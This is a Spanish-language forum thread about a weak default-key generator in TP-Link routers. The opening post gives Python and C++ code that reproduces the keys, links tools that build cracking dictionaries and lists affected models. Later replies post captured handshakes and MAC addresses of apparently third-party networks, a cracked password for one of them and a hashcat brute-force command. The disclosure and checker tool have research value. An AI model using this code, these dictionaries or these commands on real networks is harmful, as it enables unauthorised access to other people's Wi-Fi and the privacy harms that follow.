Arg-Wireless - El Primer Foro de Wireless de Argentina...

Seguridad Informática => Hacking Wireless => Mensaje iniciado por: D3M0N en 09 de Marzo de 2013, 01:52:50 pm

Título: Vulnerabilidad de TP-Link al generar claves WPA/WPA2
Publicado por: D3M0N en 09 de Marzo de 2013, 01:52:50 pm
(http://www.redeszone.net/wp-content/uploads/TD-W8970.jpg)

Recientemente TP-Link ha sacado unos routers al mercado, los TD-W8970, TD-W8968, y TD-W8961ND (http://www.tp-link.com/en/products/?categoryid=203) que aparecen bajo el nombre TP-LINK_XXXXXX. Su clave por defecto en WPA / WPA2 y WEP es es de 10 y 13 caracteres respectivamente (aparentemente de 0-9, y A-Z) y es generada aleatoriamente por el EasySetupAssistant (http://www.tp-link.com/mx/support/download/?model=TD-W8970&version=V1#tbl_b).

En WPA/WPA2 que es lo que nos interesa, un ataque de fuerza bruta acelerado por una GPU media a unos 20000 keys/s tardaría 3610 / 20000 = 3656158440062976 keys / 20000 keys/s = 5796,8011 años. Esto se puede lograr con cualquier tarjeta gráfica de gama media-alta en un ordenador normal, por lo que parece imposible de romper en un tiempo razonable.

Pues, desensamblando el asistente de configuración, he visto que el encargado de hacer esto es un generador de congruencia lineal que usa seeds de 32 bits. En otras palabras, el conjunto de claves posibles tanto para keys de 10 caracteres (WPA/WPA2) como de 13 caracteres (WEP) es de 232. El código en Python de este generador es:

Código: [Seleccionar]
chars = "2345678923456789ABCDEFGHJKLMNPQRSTUVWXYZ"
def gen(seed, length): #length=10 for WPA/WPA2, length=13 for WEP
    key = ""
    for i in range(length):
        seed = (seed)*0x343FD + 0x269EC3
        key += chars[((seed >> 0x10) & 0x7FFF) % 0x28]
    return key

Por si esto fuera poco, cada clave en el conjunto de claves está duplicada ya que las seeds i y (i+0x80000000) generan la misma clave para todos los enteros i de 32 bits. Esto hace que las combinaciones totales se reduzcan a 231. De esta manera, podemos encontrar la clave en un máximo de: 231 / 20000 = 1,24 días.
Esto se vuelve aún más grave si tenemos en cuenta que 1,24 días es el tiempo requerido a esa velocidad en el peor de los casos. El tiempo medio se situaría en 0,62 días. Por no hablar del tiempo que lograría un peligroso gamer con su ordenador nuevo listo para mover el Crysis 3 en ultra. En ese caso estaríamos hablando de una media de 3 o 4 horas.

He creado un pequeño programa en C++ para comprobar si claves generadas para otros routers TP-Link eran vulnerables. Tan solo lo tenéis que abrirlo, introducir "1", y poner la clave para comprobar si es vulnerable. Desde luego, todas las claves generadas para los TD-W8970, TD-W8961ND, y TD-W8968 están afectadas al compartir el mismo EasySetupAssistant. Si tenéis otro router distinto de TP-Link, pero con una clave aleatoria, no estaría de más que la comprobaseis.

Descarga (Windows + Linux + Sources): http://www.mediafire.com/download.php?oyrnt45sljlxa5a (http://www.mediafire.com/download.php?oyrnt45sljlxa5a)

Mirror:
TPLink-CheckKeys.zip (84 KB)
https://mega.co.nz/#!qYRHhb7K!EP4jwmdUpmXqlaALkHkL4gTEMVxVQJ-Z3yePtcQEv8Q (https://mega.co.nz/#!qYRHhb7K!EP4jwmdUpmXqlaALkHkL4gTEMVxVQJ-Z3yePtcQEv8Q)

También me mosquee mucho con respecto a cómo se generaban los primeros 4 dígitos en hexadecimal de la clave, lo mismo me volví paranoico, o lo mismo no es sano desensamblar a las 5 de la mañana. En todo caso si alguien por aquí quiere contribuir a sembrar el caos y la destrucción a la seguiridad en Internet, podría echarle un ojo al asistente (basta con poner un breakpoint en 00474BF0, o con mucho cuidado poner la EIP ahí). Cada bit que determinéis reduciría el tiempo de descifrado a la mitad. Sólo eso me parece motivación suficiente para continuar.

Otra cosa que estaría genial es que alguien generase el diccionario para estos routers (ocuparía 22,5 GB), o que modifique algun crackeador de handshakes por GPU open source para que se centre en las claves para estos routers. Por último, si seguís este blog sabréis que subo algunos humildes tutoriales sobre cracking; pues como esto trae OllyDbg de por medio, pues hice un tutorial de cómo encontrar estos fallos usando este como ejemplo. ¡Que lo disfrutéis!

http://www.youtube.com/watch?v=-M0naAtUZM0

Por último, solo por comentar posibles soluciones a este fallo. Recomendaría usar seeds de más tamaño (64 bits) a la hora de generar las claves, o tomar dos seeds basadas en acciones del usario (tiempo en milisegundos transcurrido entre clicks) para generar dos partes distintas de la clave. O aún más sencillo, lo que hacen en los Linksys E4200, que usan la función CryptGenRandom de ADVAPI32 para generar 10 bytes aleatorios que se usan como indices (módulo longitud) de la string con los caracteres de la contraseña.



Adicional:

Este fallo afecta a todos* los routers WiFi de TP-Link sacados desde 2010. Básicamente todos los que empiezan con TL-WA, TL-WR, TL-WDR, y por otra parte los WXXXX y VGXXXX.

Estos routers vienen a ser los que aparecen en estas dos listas (quitando los adaptadores WiFi):
 http://www.tp-link.com/en/support/download/?pcid=201
 http://www.tp-link.com/en/products/?categoryid=203

Routers TP-Link vulnerables:
Código: [Seleccionar]
TL-W8151N    (V1, V3)
TL-WA730RE   (V1, V2*)
TL-WA830RE   (V1, V2*)
TL-WDR3500
TL-WDR3600
TL-WDR4300
TL-WR720N
TL-WR740N    (V1, V2, V3, V4)
TL-WR741ND   (V1, V2, V3*,V4)
TL-WR841N    (V1*,V5, V7, V8)
TL-WR841ND   (V3, V5, V7, V8*)
TL-WR842ND
TL-WR940N    (V1, V2)
TL-WR941ND   (V2, V3, V4, V5)
TL-WR1043N
TL-WR1043ND
TD-VG3511    (V1*)
TD-VG3631
TD-W8901N
TD-W8950ND
TD-W8951NB   (V3*,V4, V5)
TD-W8951ND   (V1, V3, V4, V5)
TD-W8960N    (V1, V3, V4)
TD-W8961NB   (V1, V2, V3*)
TD-W8961ND
TD-W8968
TD-W8970

*Posiblemente vulnerable. No he podido comprobarlo aún.



SOURCE CODE:

Código: [Seleccionar]
#include <iostream>
#include <iomanip>
#include <sstream>
using namespace std;

char chars [] = "2345678923456789ABCDEFGHJKLMNPQRSTUVWXYZ";

void gen (unsigned int seed, int len, char* key){
seed -= 10;
for (int i=0; i<len; i++){
seed = seed*0x343FD + 0x269EC3;
key[i] = chars[((seed >> 0x10) & 0x7FFF) % 0x28];
}
key[len]=0;
}


int main (){

cout << "+------------------------------------------------+\n";
cout << "|  Checking vulnerable keys in TP-Link routers:  |\n";
cout << "|        TD-W8961ND | TD-W8968 | TD-W8970        |\n";
cout << "|             alexaltea123@gmail.com             |\n";
cout << "+------------------------------------------------+\n";

cout << "\nSelect your mode:\n";
cout << " [1] Test WPA/WPA2 keys: 10 characters.\n";
cout << " [2] Test WEP keys: 13 characters.\n";
cout << " [3] Generate keys from a seed.\n";
cout << "\nMode: ";

/*Select mode: WPA/WPA2, WEP or generate keys*/
char key [14];
unsigned int length;
unsigned int number = 0;
cin >> number;
if (number == 1) length = 10;
else if (number == 2) length = 13;
else if (number == 3){
while (true){
cout << "\nEnter a valid seed (in decimal): ";
cin >> number;
gen(number, 13, key);
cout << " [*] WEP key:       " << key << endl;
key[10]=0;
cout << " [*] WPA/WPA2 key:  " << key << endl;
}
}
else return 0;

/*Enter user's key*/
char defkey [14];
cout << "Enter your key: ";
cin >> defkey;

/*Scanning if the key is vulnerable*/
unsigned int i;
unsigned int pos;
cout << "\nChecking seeds:\n";
for (i=0; i<=0x80000000; i++){
gen(i, length, key);

if (i % 0x1000000 == 0){
cout << "[" << string(i/0x4000000, '#') << string(32-i/0x4000000, ' ') << "] ";
cout << dec << i/21474836 << "% | Current seed: 0x";
cout <<  setfill('0') << setw(8) << hex << uppercase << i << "\r";
}
for(pos=0; pos<length; pos++){
if (defkey[pos]!=key[pos]) break;
}
if (pos==length){
cout << "[################################] 100% | Current seed: 0x";
cout <<  setfill('0') << setw(8) << hex << uppercase << i << "\n";

cout << "\nValid seed found!\n";
cout << " [*] Seed: 0x" << setfill('0') << setw(8) << hex << i;
cout << " (" << dec << i << " in decimal)\n";
cout << " [*] Key:  " << key << endl;
cout << "Your key is vulnerable to this attack.";
break;
}
}

if (i==0x80000001){
cout << "\n\nNo valid seed found!\n";
cout << "Your key is not vulnerable to this attack.\n";
}

cout << "\n\nPress enter to exit..." << endl;
cin.sync();
cin.get();
return 0;
}
Título: Re:Vulnerabilidad de TP-Link al generar claves WPA/WPA2
Publicado por: qualtrix en 09 de Marzo de 2013, 07:38:36 pm
Buena data! Si vos desarrollaste todo eso te felicito
Título: Re:Vulnerabilidad de TP-Link al generar claves WPA/WPA2
Publicado por: nyko513 en 24 de Marzo de 2013, 12:12:13 am
Interesante! se podría crear un diccionario para atacar WPA por fuerza bruta siguiendo ese patron?
Título: Re:Vulnerabilidad de TP-Link al generar claves WPA/WPA2
Publicado por: D3M0N en 01 de Abril de 2013, 12:00:02 am
Interesante! se podría crear un diccionario para atacar WPA por fuerza bruta siguiendo ese patron?

TPLink-GenSeeds:
http://www.mediafire.com/download.php?44l9629qq1dx2l8 (http://www.mediafire.com/download.php?44l9629qq1dx2l8)
Este programa calcula el intervalo de seeds donde hay que buscar a partir de un intervalo de tiempo, que se puede indicar con dos fechas, o solo con una fecha y los días alrededor de esta. Como sería horrible hacer esto por terminal le he añadido una GUI rápida  para Windows y Linux (aunque se ve deforme en algunas distros). Para Windows traigo un .exe y para Linux basta con un:
python TPLink-GenSeeds-Linux.pyw
Si tenéis problemas, probablemente necesitéis ejecutar:
sudo apt-get install python-wxgtk2.8

TPLink-GenKeys:
http://www.mediafire.com/download.php?28z2fvdgpf22s68 (http://www.mediafire.com/download.php?28z2fvdgpf22s68)
Seleccionáis que tipo de claves queréis generar (si, sé que a estas alturas a nadie le interesa WEP, pero no me costaba nada). Indicáis el rango de las seeds (calculado con el programa de antes), os saldrá información sobre la lista y si continuáis, la tendréis en "./output.txt".
                   

(http://i.minus.com/ibuFvkhBRH268f.png)
Título: Re:Vulnerabilidad de TP-Link al generar claves WPA/WPA2
Publicado por: SherlockH en 22 de Julio de 2013, 12:55:54 pm
D3M0N gracias por la data. El generador del diccionario da error a los 137 mb del archivo output.txt (que debería pesar cerca de 1 GB contando los seeds desde el 1/1/2010 hasta hoy, tengo Windows 8 ¿Habrá algún update del programa?

Saludos.
Título: Re:Vulnerabilidad de TP-Link al generar claves WPA/WPA2
Publicado por: D3M0N en 22 de Julio de 2013, 08:43:28 pm
TPLink-AttackDictionary-v1c.zip (http://www.mediafire.com/download/vtu146u849ogueq/TPLink-AttackDictionary-v1c.zip)
Título: Re:Vulnerabilidad de TP-Link al generar claves WPA/WPA2
Publicado por: Kal-EL84 en 23 de Octubre de 2015, 12:51:56 pm
Agarro entre 5 y 6 redes que son TP-Link, son WPA/WPA2 con WPS, me serviría esto?
Título: Re:Vulnerabilidad de TP-Link al generar claves WPA/WPA2
Publicado por: dj_zombie en 20 de Septiembre de 2017, 06:58:19 pm
Hola, alguno se da idea de como atacar una red wifi TP_LINK del tipo (TP-LINK_5FEEEAC) con seguridad wpa2
Cualquier guia o tuto me vendria bien. Saludos!
Título: Re:Vulnerabilidad de TP-Link al generar claves WPA/WPA2
Publicado por: dj_zombie en 20 de Septiembre de 2017, 07:29:30 pm
Hola, tratá de capturar un cap, subilo acá y vemos que podemos hacer.

Este es el cap: https://www.mediafire.com/file/lurmcza6cdijrd0/TP-LINK_5FEEAC%20%28D4-6E-0E-5F-EE-AC%29.cap

NetworkName: TP-LINK_5FEEAC
Network Mac: D4:6E:0E:5F:EE:AC
WPS Enabled: Yes
Encryption Type: WPA2
AP Vendor: TP-LINK TECHNOLOGIESCO.
Título: Re:Vulnerabilidad de TP-Link al generar claves WPA/WPA2
Publicado por: jalondrio en 16 de Octubre de 2017, 03:08:37 pm
Wired, Strike Les dejo este cap de tp-link a ver si sale algo. Desdeya agredzco hasta el infinito por que si son de 8 digitos seria mas facil para mi.

https://drive.google.com/open?id=0B3QS3p_K7IT1RXZycnBxVTFadHM

TP-LINK_2AFE
98:DE:D0:9D:2A:FE
Título: Re:Vulnerabilidad de TP-Link al generar claves WPA/WPA2
Publicado por: MaruMoon en 17 de Octubre de 2017, 10:38:53 am
TP-LINK_2AFE : 25440669
 ;)
strike una consulta, tengo una captura de un tp link que también comienza con mac 98-DE-D0-xx, sin embargo un diccionario de 8 dígitos numéricos no me dio resultado positivo. Desde tu experiencia, probarías con algo más?

Gracias!
Título: Re:Vulnerabilidad de TP-Link al generar claves WPA/WPA2
Publicado por: dj_zombie en 11 de Diciembre de 2017, 09:27:06 pm
Este es el cap: https://www.mediafire.com/file/lurmcza6cdijrd0/TP-LINK_5FEEAC%20%28D4-6E-0E-5F-EE-AC%29.cap

NetworkName: TP-LINK_5FEEAC
Network Mac: D4:6E:0E:5F:EE:AC
WPS Enabled: Yes
Encryption Type: WPA2
AP Vendor: TP-LINK TECHNOLOGIESCO.

Agradeceria mucho si alguien me puede dar una mano, ya que me he cansado de fracasar jaja.
Título: Re:Vulnerabilidad de TP-Link al generar claves WPA/WPA2
Publicado por: D3M0N en 18 de Diciembre de 2017, 10:44:21 pm
Agradeceria mucho si alguien me puede dar una mano, ya que me he cansado de fracasar jaja.

Por lo general por defecto traen 8 numéricos que son los mismos que el WPS. Quizas por WPS la saques mas rápido siempre que no tenga actualizado el firmware y si el cliente cambio la de por defecto también la obtendrias.
Título: Re:Vulnerabilidad de TP-Link al generar claves WPA/WPA2
Publicado por: Cronos en 19 de Enero de 2018, 11:23:15 am
Agradeceria mucho si alguien me puede dar una mano, ya que me he cansado de fracasar jaja.

Si tenes certeza de que la clave es de 8 dígitos, con hashcat la rompés en unas horitas. el comando que yo uso para eso es:
hashcat64.exe -m 2500 -a 3 -D 1,2 capture.hccapx ?d?d?d?d?d?d?d?d --session capturaultima -w 3 -o damelapass.txt
pause
Título: Re:Vulnerabilidad de TP-Link al generar claves WPA/WPA2
Publicado por: dj_zombie en 25 de Enero de 2018, 12:16:38 pm
Hola gracias por responder. el problema es que no me toma la placa de video. Me usa el procesador y me arroja mas de 30dias, un pernaso! jaja

Se aceptan sugerencias...

Adicionalmente he detectado una red nueva con muy buena intensidad de señal. Le han cambiado el nombre a la red por (delorian explosive) asique desconozco el proveedor, aunque de seguro la clave debe ser muy simple, asique a continuacion pongo el handshake a ver si alguien me da una mano a ver que sale.
Saludos y gracias como siempre por compartir ayuda y conocimientos!

handshake:  http://www.mediafire.com/file/0pbe6fg2pdhq91x/DELORIANEXPLOSIVE%20%28C0-25-E9-41-9D-69%29.cap

DELORIANEXPLOSIVE
C0-25-E9-41-9D-69
TP-LINK
WPA2
canal 4
Título: Re:Vulnerabilidad de TP-Link al generar claves WPA/WPA2
Publicado por: Cronos en 29 de Enero de 2018, 01:13:41 pm
En mi experiencia, algunos TPlink de fábrica NO vienen con la clave numérica ni de 8 ni 10 dígitos. Se ve que agregan alguna letra. He corrido el bat de hashcat para 8, 9 y 10 dígitos sin exito.
Título: Re:Vulnerabilidad de TP-Link al generar claves WPA/WPA2
Publicado por: Horse en 16 de Mayo de 2018, 02:46:40 am
Me acabo de comprar un router TP link TL-WR841HP v5 y me trajo por defecto una de 8 números, además de ser la última revisión de este modelo es hasta de las nuevas cajitas con la identidad de marca moderna, las celestes y no la blanca-verde. Entendería por tanto que es una práctica que no se ha detenido.